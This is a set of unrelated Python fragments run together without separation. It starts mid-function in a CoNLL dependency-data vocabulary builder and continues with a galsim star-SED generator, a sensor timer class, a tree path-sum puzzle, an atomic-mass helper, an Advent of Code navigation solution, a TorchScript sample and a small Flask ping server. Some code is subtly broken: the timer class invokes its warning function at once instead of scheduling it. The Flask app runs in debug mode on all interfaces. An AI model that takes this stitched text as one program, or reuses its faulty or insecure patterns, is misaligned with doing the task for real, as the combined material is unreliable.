  xpos_dictionary.add(PAD_POS)
  type_dictionary.add(PAD_TYPE)

  char_dictionary.add(ROOT_CHAR)
  pos_dictionary.add(ROOT_POS)
  xpos_dictionary.add(ROOT_POS)
  type_dictionary.add(ROOT_TYPE)

  char_dictionary.add(END_CHAR)
  pos_dictionary.add(END_POS)
  xpos_dictionary.add(END_POS)
  type_dictionary.add(END_TYPE)

  vocab = dict()
  with codecs.open(train_path, 'r', 'utf-8', errors='ignore') as file:
    li = 0
    for line in file:
      line = line.strip()
      if len(line) == 0 or line[0]=='#':
        continue

      tokens = line.split('\t')
      if '-' in tokens[0] or '.' in tokens[0]:
        continue

      for char in tokens[1]:
        char_dictionary.add(char)

      word = DIGIT_RE.sub(b"0", str.encode(tokens[1])).decode()
      pos =  tokens[3] if tokens[4]=='_' else tokens[3]+'$$$'+tokens[4]
      xpos = tokens[4]
      typ = tokens[7]

      pos_dictionary.add(pos)
      xpos_dictionary.add(xpos)
      type_dictionary.add(typ)

      if word in vocab:
        vocab[word] += 1
      else:
        vocab[word] = 1

      li = li + 1
      if dry_run and li == 100:
        break

  # collect singletons
  min_occurence = 1
  singletons = set([word for word, count in vocab.items() if count <= min_occurence])

  # if a singleton is in pretrained embedding dict, set the count to min_occur + c
  for word in vocab.keys():
    if word in word_embed_dict or word.lower() in word_embed_dict:
      vocab[word] += 1

  vocab_list = _START_VOCAB + sorted(vocab, key=vocab.get, reverse=True)
  vocab_list = [word for word in vocab_list if word in _START_VOCAB or vocab[word] > min_occurence]

  max_vocabulary_size = 50000
  if len(vocab_list) > max_vocabulary_size:
    vocab_list = vocab_list[:max_vocabulary_size]

  def expand_vocab(data_paths):
    vocab_set = set(vocab_list)
    for data_path in data_paths:
      if os.path.exists(data_path):
        with codecs.open(data_path, 'r', 'utf-8', errors='ignore') as file:
          li = 0
          for line in file:
            line = line.strip()
            if len(line) == 0 or line[0]=='#':
              continue

            tokens = line.split('\t')
            if '-' in tokens[0] or '.' in tokens[0]:
              continue

            for char in tokens[1]:
              char_dictionary.add(char)

            word = DIGIT_RE.sub(b"0", str.encode(tokens[1])).decode()
            pos =  tokens[3] if tokens[4]=='_' else tokens[3]+'$$$'+tokens[4]
            typ = tokens[7]
            xpos = tokens[4]

            pos_dictionary.add(pos)
            type_dictionary.add(typ)
            xpos_dictionary.add(xpos)

            if word not in vocab_set and (word in word_embed_dict or word.lower() in word_embed_dict):
              vocab_set.add(word)
              vocab_list.append(word)
            li = li + 1
            if dry_run and li==100:
              break
  expand_vocab([dev_path, test_path])

  for word in vocab_list:
    word_dictionary.add(word)
    if word in singletons:
      word_dictionary.add_singleton(word_dictionary.get_index(word))

  word_dictionary.close()
  char_dictionary.close()
  pos_dictionary.close()
  xpos_dictionary.close()
  type_dictionary.close()
  return word_dictionary, char_dictionary, pos_dictionary, xpos_dictionary, type_dictionary

def read_data(source_path, word_dictionary, char_dictionary, pos_dictionary, xpos_dictionary, type_dictionary, bptt, max_size=None, normalize_digits=True, symbolic_root=False, symbolic_end=False, dry_run=False):
  max_char_length = 0
  print('Reading data from %s' % source_path)
  counter = 0
  reader = CoNLLReader(source_path, word_dictionary, char_dictionary, pos_dictionary, type_dictionary, xpos_dictionary, None)
  inst = reader.getNext(normalize_digits=normalize_digits, symbolic_root=symbolic_root, symbolic_end=symbolic_end)
  data = []
  while inst is not None and (not dry_run or counter < 100):
    inst_size = inst.length()
    sent = inst.sentence
    if len(sent.words) > bptt:
      # generate seqeuences
      num_sequences = len(sent.words) - bptt
      for seq_no in range(num_sequences):
        word_ids, char_id_seqs, pos_ids, xpos_ids, tar_ids = [], [], [], [], []
        for i in range(bptt):
          word_ids.append(sent.word_ids[seq_no+i])
          tar_ids.append(sent.word_ids[seq_no+i+1])
          char_id_seqs.append(sent.char_id_seqs[seq_no+i])
          pos_ids.append(inst.pos_ids[seq_no+i])
          xpos_ids.append(inst.xpos_ids[seq_no+i])
        data.append([word_ids, char_id_seqs, pos_ids, tar_ids, xpos_ids])
      max_len = max([len(char_seq) for char_seq in sent.char_seqs])
      max_char_length = max(max_len, max_char_length)
    inst = reader.getNext(normalize_digits=normalize_digits, symbolic_root=symbolic_root, symbolic_end=symbolic_end)
    counter += 1
  reader.close()
  return data, max_char_length

def read_data_to_variable(source_path, word_dictionary, char_dictionary, pos_dictionary, xpos_dictionary, type_dictionary, bptt, max_size=None, normalize_digits=True, symbolic_root=False, symbolic_end=False, use_gpu=False, volatile=False, dry_run=False):
  data, max_char_length = read_data(source_path, word_dictionary, char_dictionary, pos_dictionary, xpos_dictionary, type_dictionary, bptt, max_size=max_size, normalize_digits=normalize_digits, symbolic_root=symbolic_root, symbolic_end=symbolic_end, dry_run=dry_run)

  wid_inputs = np.empty([len(data), bptt], dtype=np.int64)
  cid_inputs = np.empty([len(data), bptt, max_char_length], dtype=np.int64)
  pid_inputs = np.empty([len(data), bptt], dtype=np.int64)
  xpid_inputs = np.empty([len(data), bptt], dtype=np.int64)
  wid_outputs = np.empty([len(data), bptt], dtype=np.int64)

  for di in range(len(data)):
    word_ids, char_id_seqs, pos_ids, tar_wid, xpos_ids = data[di]

    wid_inputs[di, :] = word_ids
    for c, cids in enumerate(char_id_seqs):
      cid_inputs[di, c, :len(cids)] = cids
      cid_inputs[di, c, len(cids):] = PAD_ID_CHAR
    pid_inputs[di, :] = pos_ids
    xpid_inputs[di, :] = xpos_ids
    wid_outputs[di, :] = tar_wid

  words = Variable(torch.from_numpy(wid_inputs), requires_grad=False)
  chars = Variable(torch.from_numpy(cid_inputs), requires_grad=False)
  poss = Variable(torch.from_numpy(pid_inputs), requires_grad=False)
  xposs = Variable(torch.from_numpy(xpid_inputs), requires_grad=False)
  targets = Variable(torch.from_numpy(wid_outputs), requires_grad=False)
  if use_gpu:
    words = words.cuda()
    chars = chars.cuda()
    poss = poss.cuda()
    targets = targets.cuda()
    xposs = xposs.cuda()

  return words, chars, poss, targets, xposs

def get_batch_variable(data, batch_size):
  words, chars, poss, targets, xposs = data
  index = torch.randperm(words.size(0)).long()[:batch_size]
  if words.is_cuda:
    index = index.cuda()
  return words[index], chars[index], poss[index], targets[index], xposs[index]

def iterate_batch_variable(data, batch_size):
  words, chars, poss, targets, xposs = data
  index = torch.arange(0, words.size(0), dtype=torch.long)
  if words.is_cuda:
    index = index.cuda()
  num_batches = words.size(0) // batch_size
  for bi in range(num_batches):
    idx = index[bi * batch_size: (bi+1)*batch_size]
    yield words[idx], chars[idx], poss[idx], targets[idx], xposs[idx]


"""
"""

import argparse
import copy
import functools
import itertools
# import operator
import os
from pathlib import Path
import re

import galsim
import joblib
import metadetect
import ngmix
import numpy as np
import pyarrow as pa
import pyarrow.compute as pc
import pyarrow.dataset as ds
import pyarrow.parquet as pq
import yaml

from chromatic_shear_bias.generators import generators

@functools.cache
def read_sed_file(file_name, wave_type, flux_type):
    return galsim.sed.SED(file_name, wave_type, flux_type)

def build_star(star_params, sed_dir):
    _standard_dict = {
        "lte*": "starSED/phoSimMLT",
        "bergeron*": "starSED/wDs",
        "k[mp]*": "starSED/kurucz",
    }
    wave_type = "Nm"
    flux_type = "flambda"
    sed_filename = star_params.get("sedFilename").strip()
    if not sed_filename.endswith(".gz"):
        # Some files are missing ".gz" in their suffix; if this is the case,
        # append to the current suffix
        sed_filename += ".gz"
    path_name = Path(sed_filename)
    for k, v in _standard_dict.items():
        matched = False
        if path_name.match(k):
            sed_path = Path(sed_dir) / v / path_name
            matched = True
            break  # we should only have one match
    if not matched:
        raise ValueError(
            f"Filename {sed_filename} does not match any known patterns in {sed_dir}"
        )
    if not sed_path.exists():
        raise ValueError(f"Filename {sed_filename} not found in {sed_dir}")

    sed_file = sed_path.as_posix()
    sed = read_sed_file(sed_file, wave_type, flux_type)
    sed = sed.withFluxDensity(1, wavelength=600)

    # print(f"\tBuilding star took {end - start} s")

    return galsim.DeltaFunction() * sed

def DC2_generator(predicate=None, seed=None):
    dataset = "/oak/stanford/orgs/kipac/users/smau/dc2_stellar_healpixel_parquet"
    columns = [
        "^sedFilename$",
    ]
    sed_dir = "/oak/stanford/orgs/kipac/users/smau/"
    batch_generator = generators.generate_batches(dataset, columns=columns, predicate=predicate)
    for batch in batch_generator:
        row_generator = generators.generate_rows(batch, n_sample=batch.num_rows, seed=seed)
        for row in row_generator:
            built = build_star(row, sed_dir)
            yield built


from .mail import on_warning_last_data_upd
import threading
from datetime import datetime

class SensorDataSignals:
    def __init__(self):
        self.date = datetime.now()
        self.timer = threading.Timer(10, on_warning_last_data_upd(datetime.now()))

    def time_warning(self, sender, **kwargs):
        if self.timer is not None:
            self.timer.cancel()
        self.date = datetime.now()
        self.timer = threading.Timer(10, on_warning_last_data_upd(self.date))
        self.timer.start()


'''
Given a binary tree t and an integer s, determine whether there is a root to leaf path in t such that the sum of vertex values equals s.

Example

For

t = {
    "value": 4,
    "left": {
        "value": 1,
        "left": {
            "value": -2,
            "left": null,
            "right": {
                "value": 3,
                "left": null,
                "right": null
            }
        },
        "right": null
    },
    "right": {
        "value": 3,
        "left": {
            "value": 1,
            "left": null,
            "right": null
        },
        "right": {
            "value": 2,
            "left": {
                "value": -2,
                "left": null,
                "right": null
            },
            "right": {
                "value": -3,
                "left": null,
                "right": null
            }
        }
    }
}
and
s = 7,
the output should be hasPathWithGivenSum(t, s) = true.
'''
class Tree(object):
  def __init__(self, x):
    self.value = x
    self.left = None
    self.right = None
def hasPathWithGivenSum(t, s):
    if t is None:
        return s == 0
    elif t.left is None and t.right is not None:
        return hasPathWithGivenSum(t.right,s-t.value)
    elif t.right is None and t.left is not None:
        return hasPathWithGivenSum(t.left,s-t.value)
    else:
        return hasPathWithGivenSum(t.left,s-t.value) or hasPathWithGivenSum(t.right,s-t.value)


"""``atomicmass`` - Return the atomic mass of an atom or molecule.

This is really just a wrapper for
`periodictable
<https://periodictable.readthedocs.io/en/latest/index.html>`_
but returns the mass as an `astropy quantity
<http://docs.astropy.org/en/stable/units/index.html>`_.
"""
import periodictable as pt
import astropy.units as u

def atomicmass(species):
    r"""Return the atomic mass of an atom or molecule.

    **Parameters**

    species
        Chemical formula requested species. See `periodictable
        <https://periodictable.readthedocs.io/en/latest/index.html>`_
        for formatting options.

    **Returns**

    The atomicmass of *species* as an astropy quantity with units = AMU
    :math:`(1\, \mathrm{AMU} = 1.660539 \times 10^{-27}\, \mathrm{kg})`.
    If ``periodictable`` returns a ValueError, *None* is returned.

    **Examples**
    ::

        >>> from nexoclom.atomicdata import atomicmass
        >>> print(atomicmass('Na'))
        22.98977 u
        >>> print(atomicmass('H2O'))
        18.01528 u
        >>> print(atomicmass('X'))
        WARNING: mathMB.atomicmass: X not found
        None

    """
    el = [e.symbol for e in pt.elements]
    if species in el:
        atom = eval('pt.' + species)
        mass = atom.mass * u.u
    else:
        try:
            mass = pt.formula(species).mass * u.u
        except ValueError:
            print(f'WARNING: mathMB.atomicmass: {species} not found')
            mass = None

    return mass


from math import cos, sin, radians

class Day12():
    def __init__(self, input, target):
        instructions = input.strip()
        self.instructions = [[x[0], int(x[1:])]
                             for x in instructions.split('\n')]
        self.direction = [1, 0]
        self.location = [0, 0]
        self.waypoint = [10, 1]
        self.target = target

    def run_instructions(self):
        for instruction in self.instructions:
            self.move(instruction)

    def move(self, instruction):
        movement = [0, 0]
        if instruction[0] == 'N':
            movement = [0, instruction[1]]
        elif instruction[0] == 'S':
            movement = [0, -instruction[1]]
        elif instruction[0] == 'E':
            movement = [instruction[1], 0]
        elif instruction[0] == 'W':
            movement = [-instruction[1], 0]
        elif instruction[0] == 'L':
            self.rotate(instruction)
        elif instruction[0] == 'R':
            self.rotate(instruction)
        elif instruction[0] == 'F':
            if self.target == 'ship':
                movement = [x * instruction[1] for x in self.direction]
            elif self.target == 'waypoint':
                movement = [x * instruction[1] for x in self.waypoint]
                self.location = [sum(x) for x in zip(self.location, movement)]
                movement = [0, 0]

        if self.target == 'ship':
            self.location = [sum(x) for x in zip(self.location, movement)]
        if self.target == 'waypoint':
            self.waypoint = [sum(x) for x in zip(self.waypoint, movement)]

        print(instruction)
        print(self.location, self.waypoint, self.direction)

        # print(instruction, self.direction, self.waypoint, self.location)

    # def move_ship(self, instruction):
    #     movement = [0, 0]
    #     if instruction[0] == 'N':
    #         movement = [0, instruction[1]]
    #     elif instruction[0] == 'S':
    #         movement = [0, -instruction[1]]
    #     elif instruction[0] == 'E':
    #         movement = [instruction[1], 0]
    #     elif instruction[0] == 'W':
    #         movement = [-instruction[1], 0]
    #     elif instruction[0] == 'L':
    #         self.rotate(instruction)
    #     elif instruction[0] == 'R':
    #         self.rotate(instruction)
    #     elif instruction[0] == 'F':
    #         movement = [x * instruction[1] for x in self.direction]

    #     self.location = [sum(x) for x in zip(self.location, movement)]
    #     print(instruction, self.direction, self.location)

    # def move_waypoint(self, instruction):
    #     movement = [0, 0]
    #     if instruction[0] == 'N':
    #         movement = [0, instruction[1]]
    #     elif instruction[0] == 'S':
    #         movement = [0, -instruction[1]]
    #     elif instruction[0] == 'E':
    #         movement = [instruction[1], 0]
    #     elif instruction[0] == 'W':
    #         movement = [-instruction[1], 0]
    #     elif instruction[0] == 'L':
    #         self.rotate(instruction)
    #     elif instruction[0] == 'R':
    #         self.rotate(instruction)
    #     elif instruction[0] == 'F':
    #         movement = [x * instruction[1] for x in self.direction]

    def get_distance(self):
        return sum([abs(x) for x in self.location])

    def rotate(self, instruction):
        if self.target == 'ship':
            target_direction = self.direction
        elif self.target == 'waypoint':
            target_direction = self.waypoint

        if instruction[0] == 'R':
            rotated = [
                target_direction[0] * cos(radians(instruction[1]))
                + target_direction[1] * sin(radians(instruction[1])),
                target_direction[0] * -sin(radians(instruction[1]))
                + target_direction[1] * cos(radians(instruction[1]))
            ]
        else:
            rotated = [
                target_direction[0] * cos(radians(instruction[1]))
                + target_direction[1] * -sin(radians(instruction[1])),
                target_direction[0] * sin(radians(instruction[1]))
                + target_direction[1] * cos(radians(instruction[1]))
            ]

        if self.target == 'ship':
            self.direction = [round(x) for x in rotated]
        elif self.target == 'waypoint':
            self.waypoint = [round(x) for x in rotated]

test_input = '''F10
N3
F7
R90
F11'''

test_part_1 = Day12(test_input, 'ship')
test_part_1.run_instructions()
print(test_part_1.get_distance())
test_part_2 = Day12(test_input, 'waypoint')
test_part_2.run_instructions()
print(test_part_2.get_distance())

with open('input/day_12.txt', 'r') as f:
    input = f.read()
    actual_part_1 = Day12(input, 'ship')
    actual_part_1.run_instructions()
    print(actual_part_1.get_distance())
    actual_part_2 = Day12(input, 'waypoint')
    actual_part_2.run_instructions()
    print(actual_part_2.get_distance())


import torch

# Define Net
class TestNet(torch.nn.Module):
    def __init__(self):
        super(TestNet, self).__init__()

    def forward(self, x1, x2):
        y1 = torch.add(x1, 10)
        y2 = torch.add(x2, 5)
        y3 = torch.add(y1, y2)
        y4 = torch.add(y3, 10)
        return y4

def sample1():
    x1 = torch.tensor([[1,2,3],[4,5,6]])
    x2 = torch.tensor([[10,20,20],[40,50,60]])

    model = TestNet()
    model.eval()
    output = model(x1, x2)
    my_script_module = torch.jit.script(model)
    frozen_model = torch.jit.freeze(my_script_module)
    print(frozen_model.graph)
    torch.jit.save(frozen_model, "simple_jit_add.torchscript")

    print("x1:{}".format(x1))
    print("x2:{}".format(x2))
    print("output:{}".format(output))

if __name__ == '__main__':
    sample1()


from flask import Flask, flash, json, request, redirect, Response, url_for
from flask_cors import CORS

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.config.from_envvar('APP_SETTINGS')
CORS(app)

@app.route('/ping', methods=['GET'])
def ping():
    response = app.response_class(
        response='pong',
        status=200,
        mimetype='application/json'
    )
    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)